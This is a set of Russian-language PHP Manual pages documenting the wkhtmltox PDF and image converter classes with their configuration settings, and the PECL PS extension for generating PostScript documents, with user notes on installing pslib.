Добавление объекта для преобразования

  • « wkhtmltox\PDF\Converter
  • wkhtmltox\PDF\Converter::__construct »
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Добавление объекта для преобразования

wkhtmltox\PDF\Converter::add

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::add — Добавление объекта для преобразования

Описание

public wkhtmltox\PDF\Converter::add(wkhtmltox\PDF\Object $object): void

Добавляет данный объект в преобразование

Список параметров

object

Объект для добавления

User Contributed Notes

There are no user contributed notes for this page.


Создать новый PDF-конвертер

  • « wkhtmltox\PDF\Converter::add
  • wkhtmltox\PDF\Converter::convert »
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Создать новый PDF-конвертер

wkhtmltox\PDF\Converter::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::__construct — Создать новый PDF-конвертер

Описание

public wkhtmltox\PDF\Converter::__construct(array $settings = ?)

Создаёт PDF-конвертер, используя дополнительные параметры конфигурации

Список параметров

settings

Название | Описание | Значения | Версия
size.pageSize | размер бумаги выходного документа | A4 | >= 0.1.0
size.width | ширина выходного документа | 210mm | >= 0.1.0
size.height | высота выходного документа | 297mm | >= 0.1.0
orientation ориентация выходного документа
Landscape
Portrait
>= 0.1.0
colorMode цветовой режим выходного документа
Color
Greyscale
>= 0.1.0
resolution | разрешение выходного документа | most likely has no effect | >= 0.1.0
dpi | dpi to use while printing | 80 | >= 0.1.0
pageOffset | целое число, добавленное к номерам страниц, генерирующим верхние и нижние колонтитулы и оглавление | >= 0.1.0
copies | >= 0.1.0
collate | разобрать по копиям | boolean | >= 0.1.0
outline | создать контур PDF | boolean | >= 0.1.0
outlineDepth | максимальная глубина контура | >= 0.1.0
dumpOutline | путь к файлу дампа структуры XML | >= 0.1.0
out | путь к выходному файлу, если "-", то используется стандартный вывод | >= 0.1.0
documentTitle | название выходного документа | >= 0.1.0
useCompression | включить или отключить сжатие без потерь | boolean | >= 0.1.0
margin.top | размер верхнего поля | 2cm | >= 0.1.0
margin.bottom | размер нижнего поля | 2cm | >= 0.1.0
margin.left | размер левого поля | 2cm | >= 0.1.0
margin.right | размер правого поля | 2cm | >= 0.1.0
imageDPI | максимальное DPI для изображений в выходном документе | >= 0.1.0
imageQuality | коэффициент сжатия JPEG для изображений в выходном документе | 94 | >= 0.1.0
load.cookieJar | путь к файлу, используемому для загрузки и хранения cookie | /tmp/cookies.txt | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


Выполнить преобразование PDF

  • « wkhtmltox\PDF\Converter::__construct
  • wkhtmltox\PDF\Converter::getVersion »
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Выполнить преобразование PDF

wkhtmltox\PDF\Converter::convert

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Converter::convert — Выполнить преобразование PDF

Описание

public wkhtmltox\PDF\Converter::convert(): ?string

Выполняет преобразование всех ранее добавленных объектов

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Если используется возвращаемое значение, оно будет заполнено содержимым буфера преобразования

User Contributed Notes

There are no user contributed notes for this page.


Определить версию конвертера

  • « wkhtmltox\PDF\Converter::convert
  • wkhtmltox\PDF\Object »
  • PHP Manual
  • wkhtmltox\PDF\Converter
  • Определить версию конвертера

wkhtmltox\PDF\Converter::getVersion

(wkhtmltox >= 0.3.2)

wkhtmltox\PDF\Converter::getVersion — Определить версию конвертера

Описание

public wkhtmltox\PDF\Converter::getVersion(): string

Определяет версию конвертера, как указано в библиотеке libwkhtmltox

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию в виде строки

User Contributed Notes

There are no user contributed notes for this page.


Класс wkhtmltox\PDF\Object

(wkhtmltox >= 0.1.0)

Введение

Представляет HTML-документ, вход в PDF-конвертер

Обзор классов

class wkhtmltox\PDF\Object {
/* Constructor */
public __construct(string $buffer, array $settings = ?)
}

Содержание

  • wkhtmltox\PDF\Object::__construct — Создать новый объект PDF

User Contributed Notes

There are no user contributed notes for this page.


Создать новый объект PDF

  • « wkhtmltox\PDF\Object
  • wkhtmltox\Image\Converter »
  • PHP Manual
  • wkhtmltox\PDF\Object
  • Создать новый объект PDF

wkhtmltox\PDF\Object::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\PDF\Object::__construct — Создать новый объект PDF

Описание

public wkhtmltox\PDF\Object::__construct(string $buffer, array $settings = ?)

Создаёт новый объект PDF из указанного буфера и дополнительные конфигурационные настройки

Список параметров

buffer

HTML

settings

Название | Описание | Значения | Версия
page | URL или путь HTML для преобразования | >= 0.1.0
useExternalLinks | установить значение true, чтобы преобразовать внешние ссылки входных данных во внешние ссылки PDF в выходных данных | boolean | >= 0.1.0
useLocalLinks | установить значение true, чтобы преобразовать внутренние ссылки входных данных во внутренние ссылки PDF в выходных данных | boolean | >= 0.1.0
produceForms | установить true, чтобы превратить HTML-формы в PDF-формы | boolean | >= 0.1.0
replacements | undocumented | >= 0.1.0
includeInOutline | установить значение true, чтобы включить разделы из этого объекта в структуру (outline) и оглавление | boolean | >= 0.1.0
pagesCount | установить значение true, чтобы количество страниц в оглавлении включало количество страниц в этом объекте | boolean | >= 0.1.0
tocXsl | установить таблицу стилей для преобразования этого объекта в объект оглавления | >= 0.1.0
toc.useDottedLines | установить значение true для использования пунктирных линий в оглавлении | boolean | >= 0.1.0
toc.captionText | текст заголовка для оглавления | >= 0.1.0
toc.forwardLinks | установить значение true для создания ссылок из оглавления в содержимое | boolean | >= 0.1.0
toc.backLinks | установить значение true для создания ссылок из содержимого в оглавление | boolean | >= 0.1.0
toc.indentation | отступ для оглавления | 2em | >= 0.1.0
toc.fontScale | коэффициент уменьшения шрифта на каждом уровне оглавления | 0.8 | >= 0.1.0
header.fontSize | размер шрифта для заголовка | 13 | >= 0.1.0
header.fontName | название шрифта в заголовке | times | >= 0.1.0
header.left | текст слева от заголовка | >= 0.1.0
header.center | текст по центру заголовка | >= 0.1.0
header.right | текст справа от заголовка | >= 0.1.0
header.line | включить или отключить горизонтальную линию под заголовком | boolean | >= 0.1.0
header.spacing | пробел между заголовком и содержимым | 1.8 | >= 0.1.0
header.htmlUrl | URL или путь HTML для использования в заголовке | >= 0.1.0
footer.fontSize | размер шрифта для нижнего колонтитула | 13 | >= 0.1.0
footer.fontName | название шрифта для нижнего колонтитула | times | >= 0.1.0
footer.left | текст слева от нижнего колонтитула | >= 0.1.0
footer.center | текст по центру нижнего колонтитула | >= 0.1.0
footer.right | текст справа от нижнего колонтитула | >= 0.1.0
footer.line | включить или отключить горизонтальную линию под нижним колонтитулом | boolean | >= 0.1.0
footer.spacing | пробел между футером и контентом | 1.8 | >= 0.1.0
footer.htmlUrl | URL или путь HTML для использования в нижнем колонтитуле | >= 0.1.0
load.username | имя пользователя, используемое при входе на веб-сайт | bart | >= 0.1.0
load.password | пароль, используемый при входе на веб-сайт | elbarto | >= 0.1.0
load.jsdelay | количество времени в миллисекундах для ожидания после загрузки страницы, пока она не будет захвачена | 1200 | >= 0.1.0
load.zoomFactor | насколько масштабировать контент | 2.2 | >= 0.1.0
load.customHeaders | пользовательские заголовки для отправки при запросе главной веб-страницы | >= 0.1.0
load.repertCustomHeaders | установите true для отправки со всеми запросами | boolean | >= 0.1.0
load.cookies | строка cookie для отправки при запросе главной веб-страницы | >= 0.1.0
load.post | строка post для отправки при запросе главной веб-страницы | >= 0.1.0
load.blockLocalFileAccess | запретить локальным и передаваемым файлам доступ к другим локальным файлам | boolean | >= 0.1.0
load.stopSlowScript | остановить медленный javascript | boolean
load.debugJavascript | разрешить javascript выдавать предупреждения | boolean | >= 0.1.0
load.loadErrorHandling установить стратегию обработки ошибок
abort | прервать процесс преобразования
skip | не добавлять объект к конечному выводу
ignore | попытаться добавить объект к конечному выводу
>= 0.1.0
load.proxy | >= 0.1.0
web.background | включить фоновое изображение в вывод | boolean | >= 0.1.0
web.loadImages | включить изображения в вывод | boolean | >= 0.1.0
web.enableJavascript | включить или отключить javascript | boolean | >= 0.1.0
web.enableIntelligentShrinking | включить для попытки уместить больше содержимого на странице, применяется только к выходным PDF-файлам | boolean | >= 0.1.0
web.minimumFontSize | минимальный допустимый размер шрифта | 9 | >= 0.1.0
web.printMediaType | распечатать содержимое, используя тип носителя print вместо screen | boolean | >= 0.1.0
web.defaultEncoding | содержимое для использования без указания кодировки | utf-8 | >= 0.1.0
web.userStyleSheet | URL или путь к указанной пользователем таблице стилей | /path/to/style.css | >= 0.1.0
web.enablePlugins | включить или отключить плагины NS | boolean | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


Класс wkhtmltox\Image\Converter

(wkhtmltox >= 0.1.0)

Введение

Преобразует входные данные HTML в различные форматы изображений

Обзор классов

class wkhtmltox\Image\Converter {
/* Constructor */
public __construct(string $buffer = ?, array $settings = ?)
/* Методы */
public convert(): ?string
public getVersion(): string
}

Содержание

  • wkhtmltox\Image\Converter::__construct — Создать новый конвертер изображений
  • wkhtmltox\Image\Converter::convert — Выполнить преобразование изображений
  • wkhtmltox\Image\Converter::getVersion — Определить версию конвертера

User Contributed Notes

There are no user contributed notes for this page.


Создать новый конвертер изображений

  • « wkhtmltox\Image\Converter
  • wkhtmltox\Image\Converter::convert »
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Создать новый конвертер изображений

wkhtmltox\Image\Converter::__construct

(wkhtmltox >= 0.1.0)

wkhtmltox\Image\Converter::__construct — Создать новый конвертер изображений

Описание

public wkhtmltox\Image\Converter::__construct(string $buffer = ?, array $settings = ?)

Создаёт конвертер изображений, дополнительно используя входной буфер и настройки конфигурации

Список параметров

buffer

HTML

settings

Название | Описание | Значения | Версия
in | URL или путь входного файла, если "-", то используется стандартный ввод | /path/to/markup.html | >= 0.1.0
out | путь к выходному файлу, если "-", то используется стандартный вывод, по умолчанию используется внутренний буфер | /path/to/output.png | >= 0.1.0
fmt формат вывода для использования
"" по умолчанию
jpg | вывод в формате JPEG
png | вывод в формате PNG
bmp | вывод в формате растрового изображения
svg | вывод в формате SVG
>= 0.1.0
transparent | при выводе PNG или SVG, сделать белый фон прозрачным | boolean | >= 0.1.0
screenWidth | ширина экрана, используемая для отрисовки в пикселях | 800 | >= 0.1.0
smartWidth | когда true, screenWidth расширяется до ширины содержимого | boolean | >= 0.1.0
quality | коэффициент сжатия, используемый при выводе JPEG-изображения | 94 | >= 0.1.0
crop.left | левая x-координата окна для захвата в пикселях | 200 | >= 0.1.0
crop.top | верхняя y-координата окна для захвата в пикселях | 200 | >= 0.1.0
crop.width | ширина окна для захвата в пикселях | 200 | >= 0.1.0
crop.height | ширина окна для захвата в пикселях | 200 | >= 0.1.0
load.cookieJar | путь к файлу, используемому для загрузки и хранения cookie | /tmp/cookies.txt | >= 0.1.0
load.username | имя пользователя, используемое при входе на веб-сайт | bart | >= 0.1.0
load.password | пароль, используемый при входе на веб-сайт | elbarto | >= 0.1.0
load.jsdelay | количество времени в миллисекундах для ожидания после загрузки страницы, пока она не будет захвачена | 1200 | >= 0.1.0
load.zoomFactor | насколько масштабировать контент | 2.2 | >= 0.1.0
load.customHeaders | пользовательские заголовки для отправки при запросе главной веб-страницы | >= 0.1.0
load.repertCustomHeaders | установите true для отправки со всеми запросами | boolean | >= 0.1.0
load.cookies | строка cookie для отправки при запросе главной веб-страницы | >= 0.1.0
load.post | строка post для отправки при запросе главной веб-страницы | >= 0.1.0
load.blockLocalFileAccess | запретить локальным и передаваемым файлам доступ к другим локальным файлам | boolean | >= 0.1.0
load.stopSlowScript | остановить медленный javascript | boolean
load.debugJavascript | разрешить javascript выдавать предупреждения | boolean | >= 0.1.0
load.loadErrorHandling установить стратегию обработки ошибок
abort | прервать процесс преобразования
skip | не добавлять объект к конечному выводу
ignore | попытаться добавить объект к конечному выводу
>= 0.1.0
load.proxy | >= 0.1.0
web.background | включить фоновое изображение в вывод | boolean | >= 0.1.0
web.loadImages | включить изображения в вывод | boolean | >= 0.1.0
web.enableJavascript | включить или отключить javascript | boolean | >= 0.1.0
web.enableIntelligentShrinking | включить для попытки уместить больше содержимого на странице, применяется только к выходным PDF-файлам | boolean | >= 0.1.0
web.minimumFontSize | минимальный допустимый размер шрифта | 9 | >= 0.1.0
web.printMediaType | распечатать содержимое, используя тип носителя print вместо screen | boolean | >= 0.1.0
web.defaultEncoding | содержимое для использования без указания кодировки | utf-8 | >= 0.1.0
web.userStyleSheet | URL или путь к указанной пользователем таблице стилей | /path/to/style.css | >= 0.1.0
web.enablePlugins | включить или отключить плагины NS | boolean | >= 0.1.0

User Contributed Notes

There are no user contributed notes for this page.


Выполнить преобразование изображений

  • « wkhtmltox\Image\Converter::__construct
  • wkhtmltox\Image\Converter::getVersion »
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Выполнить преобразование изображений

wkhtmltox\Image\Converter::convert

(wkhtmltox >= 0.1.0)

wkhtmltox\Image\Converter::convert — Выполнить преобразование изображений

Описание

public wkhtmltox\Image\Converter::convert(): ?string

Выполняет преобразование входного буфера

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Если используется возвращаемое значение, оно будет заполнено содержимым буфера преобразования

User Contributed Notes

There are no user contributed notes for this page.


Определить версию конвертера

  • « wkhtmltox\Image\Converter::convert
  • PS »
  • PHP Manual
  • wkhtmltox\Image\Converter
  • Определить версию конвертера

wkhtmltox\Image\Converter::getVersion

(wkhtmltox >= 0.3.2)

wkhtmltox\Image\Converter::getVersion — Определить версию конвертера

Описание

public wkhtmltox\Image\Converter::getVersion(): string

Определяет версию конвертера, как указано в библиотеке libwkhtmltox

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Возвращает версию в виде строки

Внимание

Это ещё не реализовано в libwkhtmltox

User Contributed Notes

There are no user contributed notes for this page.


Создание документов PostScript

  • Введение
  • Установка и настройка
    • Требования
    • Установка
    • Настройка во время выполнения
    • Типы ресурсов
  • Предопределённые константы
  • Функции PS
    • ps_add_bookmark — Добавляет закладку на текущую страницу
    • ps_add_launchlink — Добавляет ссылку, запускающую файл
    • ps_add_locallink — Добавляет ссылку на страницу того же документа
    • ps_add_note — Добавляет примечание к текущей странице
    • ps_add_pdflink — Добавляет ссылку на страницу в другом PDF-документе
    • ps_add_weblink — Добавляет ссылку на веб-страницу
    • ps_arc — Рисует дугу против часовой стрелки
    • ps_arcn — Рисует дугу по часовой стрелке
    • ps_begin_page — Начинает новую страницу
    • ps_begin_pattern — Начинает новый узор
    • ps_begin_template — Начинает новый шаблон
    • ps_circle — Рисует круг
    • ps_clip — Отрисовка клипов по текущему пути
    • ps_close_image — Закрывает изображение и освобождает память
    • ps_close — Закрывает документ PostScript
    • ps_closepath_stroke — Замыкает и обводит контур
    • ps_closepath — Замыкает путь
    • ps_continue_text — Продолжает текст в следующей строке
    • ps_curveto — Рисует кривую
    • ps_delete — Удаляет все ресурсы документа PostScript
    • ps_end_page — Завершает страницу
    • ps_end_pattern — Завершает шаблон
    • ps_end_template — Завершает шаблон
    • ps_fill_stroke — Заполняет и обводит текущий путь
    • ps_fill — Заполняет текущий путь
    • ps_findfont — Загружает шрифт
    • ps_get_buffer — Получает полный буфер, содержащий сгенерированные данные PS
    • ps_get_parameter — Получает определённые параметры
    • ps_get_value — Получает определённые значения
    • ps_hyphenate — Переносит слово
    • ps_include_file — Читает внешний файл с необработанным кодом PostScript
    • ps_lineto — Рисует линию
    • ps_makespotcolor — Создаёт плашечный цвет
    • ps_moveto — Устанавливает текущую точку
    • ps_new — Создаёт новый объект документа PostScript
    • ps_open_file — Открывает файл для вывода
    • ps_open_image_file — Открывает изображение из файла
    • ps_open_image — Считывает изображение для последующего размещения
    • ps_open_memory_image — Берёт изображение GD и возвращает изображение для размещения в документе PS
    • ps_place_image — Размещает изображение на странице
    • ps_rect — Рисует прямоугольник
    • ps_restore — Восстанавливает ранее сохранённый контекст
    • ps_rotate — Устанавливает коэффициент вращения
    • ps_save — Сохраняет текущий контекст
    • ps_scale — Устанавливает коэффициент масштабирования
    • ps_set_border_color — Устанавливает цвет границы аннотаций
    • ps_set_border_dash — Устанавливает длину тире для границы аннотации
    • ps_set_border_style — Устанавливает стиль границы аннотаций
    • ps_set_info — Устанавливает информационные поля документа
    • ps_set_parameter — Устанавливает определённые параметры
    • ps_set_text_pos — Устанавливает позицию для вывода текста
    • ps_set_value — Устанавливает определённые значения
    • ps_setcolor — Устанавливает текущий цвет
    • ps_setdash — Устанавливает внешний вид пунктирной линии
    • ps_setflat — Устанавливает плоскостность
    • ps_setfont — Устанавливает шрифт, который будет использоваться для следующего вывода
    • ps_setgray — Устанавливает значение серого
    • ps_setlinecap — Устанавливает внешний вид окончания линии
    • ps_setlinejoin — Устанавливает способ соединения линий
    • ps_setlinewidth — Устанавливает ширину линии
    • ps_setmiterlimit — Устанавливает предел скоса
    • ps_setoverprintmode — Устанавливает режим наложения
    • ps_setpolydash — Устанавливает внешний вид пунктирной линии
    • ps_shading_pattern — Создаёт узор на основе затенения
    • ps_shading — Создаёт затенение для последующего использования
    • ps_shfill — Заполняет область затенением
    • ps_show_boxed — Выводит текст в поле
    • ps_show_xy2 — Выводит текст в заданной позиции
    • ps_show_xy — Выводит текст в заданной позиции
    • ps_show2 — Выводит текст в текущей позиции
    • ps_show — Выводит текст
    • ps_string_geometry — Получает геометрию строки
    • ps_stringwidth — Получает ширину строки
    • ps_stroke — Рисует текущий путь
    • ps_symbol_name — Получает имя глифа
    • ps_symbol_width — Получает ширину глифа
    • ps_symbol — Выводит глиф
    • ps_translate — Изменяет систему координат

User Contributed Notes

There are no user contributed notes for this page.


Введение

Модуль позволяет создавать документы в формате PostScript. Он имеет много общего с модулем для создания PDF. На самом деле, API обоих модулей практически одинаковые и в большинстве случаев отличаются только префиксом функций: pdf_ и ps_. Причём, это касается и таких функций, которые, казалось бы, не имеют смысла в документах PostScript (например, добавление гиперссылок), но сработают при конвертации документа в PDF.

Документы, создаваемые этим модулем в некоторых случаях выглядят даже лучше, чем сгенерированные с помощью модуля PDF из-за того, что функции рендеринга библиотеки pslib поддерживают обработку кернинга, переносов и связок, существенно улучшающих вид выводимого текста.

User Contributed Notes

There are no user contributed notes for this page.


Требования

Требуется библиотека pslib версии 0.1.12 или выше. Библиотеку pslib можно скачать тут: » http://pslib.sourceforge.net/.

User Contributed Notes

There are no user contributed notes for this page.


Установка

Информация по установке этого модуля PECL может быть найдена в главе руководства Установка PECL модулей. Дополнительная информация, такая как новые версии, скачивание, исходные файлы, информация о разработчике и CHANGELOG, может быть найдена здесь: » https://pecl.php.net/package/ps.

DLL для этого модуля PECL в данный момент недоступна. Смотрите также раздел сборка на Windows.

User Contributed Notes

There are no user contributed notes for this page.


Типы ресурсов

В модуле определён ресурс PostScript document, возвращаемый функцией ps_new().

User Contributed Notes

There are no user contributed notes for this page.


Предопределённые константы

Перечисленные ниже константы определены данным модулем и доступны либо в сборках PHP с поддержкой этого модуля, либо когда модуль динамически загружен во время выполнения.

Две следующие таблицы содержат все константы, определяемые модулем PS.

Константы для оконцовок линий
Константа | Значение
ps_LINECAP_BUTT | Заострённые
ps_LINECAP_ROUND | Закруглённые
ps_LINECAP_SQUARED | Прямоугольные
Константы, определяющие вид пересечения линий
Константа | Значение
ps_LINEJOIN_MITER | Прямоугольное соединение
ps_LINEJOIN_ROUND | Скруглённое
ps_LINEJOIN_BEVEL | Скошенное

User Contributed Notes

There are no user contributed notes for this page.


Функции PS

Контакты

Комментарии, исправления и предложения по улучшению модуля или библиотеки pslib присылайте на почту » steinm@php.net. Приветствуется любая помощь.

Содержание

  • ps_add_bookmark — Добавляет закладку на текущую страницу
  • ps_add_launchlink — Добавляет ссылку, запускающую файл
  • ps_add_locallink — Добавляет ссылку на страницу того же документа
  • ps_add_note — Добавляет примечание к текущей странице
  • ps_add_pdflink — Добавляет ссылку на страницу в другом PDF-документе
  • ps_add_weblink — Добавляет ссылку на веб-страницу
  • ps_arc — Рисует дугу против часовой стрелки
  • ps_arcn — Рисует дугу по часовой стрелке
  • ps_begin_page — Начинает новую страницу
  • ps_begin_pattern — Начинает новый узор
  • ps_begin_template — Начинает новый шаблон
  • ps_circle — Рисует круг
  • ps_clip — Отрисовка клипов по текущему пути
  • ps_close_image — Закрывает изображение и освобождает память
  • ps_close — Закрывает документ PostScript
  • ps_closepath_stroke — Замыкает и обводит контур
  • ps_closepath — Замыкает путь
  • ps_continue_text — Продолжает текст в следующей строке
  • ps_curveto — Рисует кривую
  • ps_delete — Удаляет все ресурсы документа PostScript
  • ps_end_page — Завершает страницу
  • ps_end_pattern — Завершает шаблон
  • ps_end_template — Завершает шаблон
  • ps_fill_stroke — Заполняет и обводит текущий путь
  • ps_fill — Заполняет текущий путь
  • ps_findfont — Загружает шрифт
  • ps_get_buffer — Получает полный буфер, содержащий сгенерированные данные PS
  • ps_get_parameter — Получает определённые параметры
  • ps_get_value — Получает определённые значения
  • ps_hyphenate — Переносит слово
  • ps_include_file — Читает внешний файл с необработанным кодом PostScript
  • ps_lineto — Рисует линию
  • ps_makespotcolor — Создаёт плашечный цвет
  • ps_moveto — Устанавливает текущую точку
  • ps_new — Создаёт новый объект документа PostScript
  • ps_open_file — Открывает файл для вывода
  • ps_open_image_file — Открывает изображение из файла
  • ps_open_image — Считывает изображение для последующего размещения
  • ps_open_memory_image — Берёт изображение GD и возвращает изображение для размещения в документе PS
  • ps_place_image — Размещает изображение на странице
  • ps_rect — Рисует прямоугольник
  • ps_restore — Восстанавливает ранее сохранённый контекст
  • ps_rotate — Устанавливает коэффициент вращения
  • ps_save — Сохраняет текущий контекст
  • ps_scale — Устанавливает коэффициент масштабирования
  • ps_set_border_color — Устанавливает цвет границы аннотаций
  • ps_set_border_dash — Устанавливает длину тире для границы аннотации
  • ps_set_border_style — Устанавливает стиль границы аннотаций
  • ps_set_info — Устанавливает информационные поля документа
  • ps_set_parameter — Устанавливает определённые параметры
  • ps_set_text_pos — Устанавливает позицию для вывода текста
  • ps_set_value — Устанавливает определённые значения
  • ps_setcolor — Устанавливает текущий цвет
  • ps_setdash — Устанавливает внешний вид пунктирной линии
  • ps_setflat — Устанавливает плоскостность
  • ps_setfont — Устанавливает шрифт, который будет использоваться для следующего вывода
  • ps_setgray — Устанавливает значение серого
  • ps_setlinecap — Устанавливает внешний вид окончания линии
  • ps_setlinejoin — Устанавливает способ соединения линий
  • ps_setlinewidth — Устанавливает ширину линии
  • ps_setmiterlimit — Устанавливает предел скоса
  • ps_setoverprintmode — Устанавливает режим наложения
  • ps_setpolydash — Устанавливает внешний вид пунктирной линии
  • ps_shading_pattern — Создаёт узор на основе затенения
  • ps_shading — Создаёт затенение для последующего использования
  • ps_shfill — Заполняет область затенением
  • ps_show_boxed — Выводит текст в поле
  • ps_show_xy2 — Выводит текст в заданной позиции
  • ps_show_xy — Выводит текст в заданной позиции
  • ps_show2 — Выводит текст в текущей позиции
  • ps_show — Выводит текст
  • ps_string_geometry — Получает геометрию строки
  • ps_stringwidth — Получает ширину строки
  • ps_stroke — Рисует текущий путь
  • ps_symbol_name — Получает имя глифа
  • ps_symbol_width — Получает ширину глифа
  • ps_symbol — Выводит глиф
  • ps_translate — Изменяет систему координат

User Contributed Notes

mattwheaton at hotmail dot com 18-Aug-2006 11:28
I also was not able to install ps using PEAR. Here are the steps I took to getting it installed:

1. you may need to install the perl module XML::Parser (http://search.cpan.org/~msergeant/XML-Parser/Parser.pm) to get pslib to install
2. install pslib (http://pslib.sourceforge.net/)
3. install ps (http://pecl.php.net/package/ps) using the instructions from (http://www.php.net/manual/en/install.pecl.phpize.php)
4. copy the ps.so file created by to the php extensions directory (not automatically done)
5. edit php.ini to include the ps extension (not automatically done)

If you are running FreeBSD, this link may help you with problems installing pslib (http://www.freebsd.org/cgi/query-pr.cgi?pr=84406).

Note that pslib (the library) and ps (the php extension) are not the same.
billy dot diehl at us dot army dot mil 30-May-2006 03:19
OK, OK, the previous note helped get me started, but really, it took me most of the day to figure out how to get this "pear install ps" to work. At first, it seemed geared for PHP4. Hopefully, I can save someone the day I just spent. (Don't get me wrong, I learned something new).

If the above statement doesn't work try this because it worked for me using PHP5 and Apache.

1. Forget the "pear install ps", it doesn't work. Whoever wrote that should get punched.
2. Make sure you've got PHP5 and Apache working as you like.
3. Go to http://pecl.php.net/package/ps and download the latest release.
4. Decompress the contents into its own directory somewhere.
5. Read http://www.php.net/manual/en/install.pecl.phpize.php which tells you what to do with what you just decompressed.
6. Move the final result (a shared object file) into the directory specified by your php.ini file's "extension_dir".
7. Create an entry in you php.ini (along with other similar statements that should already be there) that says "extension=ps.so"
8. For giggles, restart apache

Worked for me, hope it works for you...
norbert at hipersonik dot com 15-Nov-2005 04:30
For everybody who is frustrated by the not working of 'pear install ps' command under most likely SuSE, at www.hipersonik.com/php_ps_pslib.html is a possible way to get it working. It is also possible to use these instructions under other distributions.
If 'pear install ps' works fine from the start (pslib etc is installed), but ps does not work yet, use dl('ps.so'); This will save you a lot of time.


Добавляет закладку на текущую страницу

  • « Функции PS
  • ps_add_launchlink »
  • PHP Manual
  • Функции PS
  • Добавляет закладку на текущую страницу

ps_add_bookmark

(PECL ps >= 1.1.0)

ps_add_bookmark — Добавляет закладку на текущую страницу

Описание

ps_add_bookmark(
resource $psdoc,
string $text,
int $parent = 0,
int $open = 0
): int

Добавляет закладку на текущую страницу. Закладки обычно видны в программах просмотра PDF слева от страницы в иерархическом дереве. Нажатие на закладку открывает страницу, на которую она ссылается.

Примечание не будет отображаться при печати или просмотре документа, но будет показано при конвертировании документа в pdf с помощью Acrobat Distiller™ или Ghostview.

Список параметров

psdoc

Идентификатор ресурса, возвращаемый ps_new(), ссылающегося на postscript-файл..

text

Описание закладки.

parent

Закладка, созданная этой же функцией, которая будет указана в качестве родителя текущей закладки.

open

Если open не равен нулю, то закладка будет открываться при отображении файла в программе просмотра PDF файлов.

Возвращаемые значения

Возвращаемое функцией значение является ссылкой на закладку. Эта ссылка используется в случае построения иерархии закладок, если нужно указать созданную закладку как родителя. Если функция отработала нормально, возвращаемое значение будет больше нуля. Если функция завершилась с ошибкой, то она вернёт ноль.

Смотрите также

  • ps_add_launchlink() - Добавляет ссылку, запускающую файл
  • ps_add_pdflink() - Добавляет ссылку на страницу в другом PDF-документе
  • ps_add_weblink() - Добавляет ссылку на веб-страницу

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ссылку, запускающую файл

  • « ps_add_bookmark
  • ps_add_locallink »
  • PHP Manual
  • Функции PS
  • Добавляет ссылку, запускающую файл

ps_add_launchlink

(PECL ps >= 1.1.0)

ps_add_launchlink — Добавляет ссылку, запускающую файл

Описание

ps_add_launchlink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $filename
): bool

Помещает гиперссылку в заданную позицию, указывающую на файловую программу, которая запускается при нажатии. Исходная позиция гиперссылки - это прямоугольник с нижним левым углом в позиции (llx, lly) и верхним правым углом в позиции (urx, ury). У прямоугольника по умолчанию тонкая синяя рамка.

Примечание не будет отображаться при печати или просмотре документа, но будет показано при конвертировании документа в pdf с помощью Acrobat Distiller™ или Ghostview.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый ps_new().

llx

Координата X левого нижнего угла.

lly

Координата Y левого нижнего угла.

urx

Координата X правого верхнего угла.

ury

Координата Y правого верхнего угла.

filename

Путь к запускаемой программе при нажатии на ссылку.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_add_locallink() - Добавляет ссылку на страницу того же документа
  • ps_add_pdflink() - Добавляет ссылку на страницу в другом PDF-документе
  • ps_add_weblink() - Добавляет ссылку на веб-страницу

User Contributed Notes

There are no user contributed notes for this page.


Добавляет ссылку на страницу того же документа

  • « ps_add_launchlink
  • ps_add_note »
  • PHP Manual
  • Функции PS
  • Добавляет ссылку на страницу того же документа

ps_add_locallink

(PECL ps >= 1.1.0)

ps_add_locallink — Добавляет ссылку на страницу того же документа

Описание

ps_add_locallink(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
int $page,
string $dest
): bool

Добавляет гиперссылку в заданном месте, указывающую на страницу того же документа. Нажатие по ссылке приведёт к переходу на данную страницу. Номер первой страницы документа - 1.

Исходная позиция гиперссылки представляет собой прямоугольник с нижним левым углом в (llx, lly) и его правым верхним углом в (urx, ury). У прямоугольника по умолчанию есть тонкая синяя рамка.

Примечание не будет отображаться при печати или просмотре документа, но будет показано при конвертировании документа в pdf с помощью Acrobat Distiller™ или Ghostview.

Список параметров

psdoc

Идентификатор ресурса файла postscript, возвращённый функцией ps_new().

llx

Координата X левого нижнего угла.

lly

Координата Y левого нижнего угла.

urx

Координата X правого верхнего угла.

ury

Координата Y правого верхнего угла.

page

Номер страницы, отображаемой при переходе по ссылке.

dest

Параметр dest определяет способ просмотра документа. Может быть: fitpage, fitwidth, fitheight или fitbbox.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Смотрите также

  • ps_add_launchlink() - Добавляет ссылку, запускающую файл
  • ps_add_pdflink() - Добавляет ссылку на страницу в другом PDF-документе
  • ps_add_weblink() - Добавляет ссылку на веб-страницу

User Contributed Notes

There are no user contributed notes for this page.


Добавляет примечание к текущей странице

  • « ps_add_locallink
  • ps_add_pdflink »
  • PHP Manual
  • Функции PS
  • Добавляет примечание к текущей странице

ps_add_note

(PECL ps >= 1.1.0)

ps_add_note — Добавляет примечание к текущей странице

Описание

ps_add_note(
resource $psdoc,
float $llx,
float $lly,
float $urx,
float $ury,
string $contents,
string $title,
string $icon,
int $open
): bool

Добавляет примечание в определённое место на странице. Примечания похожи на маленькие прямоугольные листы с текстом, которые можно разместить в любом месте страницы. Они показаны в свёрнутом или развёрнутом виде. В свёрнутом виде указанный значок используется в качестве заполнителя.

